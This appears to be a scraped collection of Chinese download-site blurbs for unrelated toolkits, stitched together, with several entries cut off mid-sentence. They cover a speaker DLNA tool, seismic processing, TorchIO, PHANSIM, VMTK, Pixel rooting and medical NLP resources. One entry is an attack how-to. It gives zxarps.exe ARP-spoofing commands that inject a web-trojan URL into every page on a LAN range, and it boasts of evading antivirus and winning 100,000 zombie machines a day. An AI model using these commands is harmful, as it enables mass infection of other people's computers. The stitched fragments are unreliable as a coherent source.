斐讯r1音箱DLNA设置工具包，教程以图片形式保存在压缩包里，三张

地震勘探数据处理的matlab工具包，包括常用的反褶积，拉登变换，地震绘图等多种功能

诸如TorchIO之类的工具是使用深度学习技术的医学AI研究成熟的征兆。 政策总监Jack Clark（）。 包 文件 建立 覆盖范围 码 笔记本电脑 社会的 原版的 （参加） TorchIO是一个Python软件包，其中包含一组工具，可在用编写的深度学习应用程序中有效读取，预处理，采样，增强和写入3D医学图像，包括用于数据增强和预处理的强度和空间变换。 变换包括典型的计算机视觉操作，例如随机仿射变换，以及特定领域的操作，例如，由于或像而引起的强度伪像的仿真。 该软件包受到NiftyNet的极大启发，NiftyNet。 学分 如果您喜欢此存储库，请单击“星号”！ 如果您使用此软件包进行研究，请引用以下文章： BibTeX条目： @article { perez-garcia_torchio_2020 , title = { {TorchIO}: a {Python} library for efficient loading, preprocessing, augmentation and patch-based sampling of medi

VS2013运行OpenGL例子提示找不到可以下载这个工具包

ARP命令： 这里网马地址就假设为 http://www.hmhk.cn 那么命令就是 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "" 接着上 3389 服务器 服务器必须安装 winPcap.exe 工具都有打包 然后就执行 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "" IP自己改 这样就可以把马挂上拉 如果拿到一台内网机器 整个机房的机器都可以挂上马(弄的好一天10万肉鸡都不是梦，哈哈) 注：zxarps.exe是免杀的 先安装WinPcap_4_0.exe 然后运行1.bat的批处理输入命令zxarps.exe就行拉 查看内网ip命令 开始→运行→cmd→ipconfig

潘西姆 PHANToM设备（美国马萨诸塞州，SensAble Technologies Inc.）为工业和学术界的用户提供了在虚拟现实，触觉，机器人运动控制和远程操作方面进行研究和教育的机会。 传统上，为了使用这些设备，必须使用OpenHaptics软件开发套件（SDK）开发C / C ++代码。 PHANSIM工具包是一种学术/非商业Simulink工具包，用于PHANToM触觉设备的实时运动控制和远程操作。 该工具包有助于在Simulink中使用PHANToM触觉设备。 通过使用两种不同类型的PHANToM产品（即Omni和Premium 1.5模型）的两次说明性实验证明了该工具包的实用性。

linux下VscodeC++环境配置.docx

Pixel 3 XL root+Xposed工具包，用于解锁、root、刷入revovery、刷入xposed用。

介绍 血管建模工具包是用于基于图像的血管建模的3D重建，几何分析，网格生成和表面数据分析的库和工具的集合。 VMTK可以通过其独立接口使用，包括Python或C ++库，或作为医学图像处理平台的扩展。 通过提供具有各种技术能力要求的多个用户界面，VMTK的目标是对医学图像处理感兴趣的任何人都可以使用。 他们是临床医生，研究人员，行业还是教育机构。 入门 教程，开发说明和常规信息可从获得。 如何安装VMTK。 了解如何在vmtk中打开数据集，导航到3D体积并设置图像以进行进一步处理。 了解如何使用Pypes。 教程将指导您完成主要功能。 自动生成的python类引用 自动生成的C ++类参考 VMTK示例的屏幕截图。 简报 关于VMTK的演示。 特征 基于梯度的3D水平集分割 查看“水平集分割”教程，了解如何使用水平集从CT或MR图像重建血管段的3D表面。 // Image seg

Chinese_medical_NLP 医疗NLP领域（主要关注中文） 评测数据集 与 论文等相关资源。 9.CHIP2020各项评测已开放 10.医学数据挖掘与算法评测大赛 11.中文医疗对话数据集 12.阿里发布的中文医疗标准数据集合 中文医学知识图谱 CMeKG 英文数据集 PubMedQA: A Dataset for Biomedical Research Question Answering COMETA: A Corpus for Medical Entity Linking in the Social Media MedMentions 相关论文 1.医疗领域预训练embedding 2.综述类文章 3.电子病历相关文章 4.医学关系抽取 5.医学知识图谱 6.辅助诊断 7.ACL2020医学领域相关论文列表 8.医疗实体Linking（标准化） 9. AAAI2020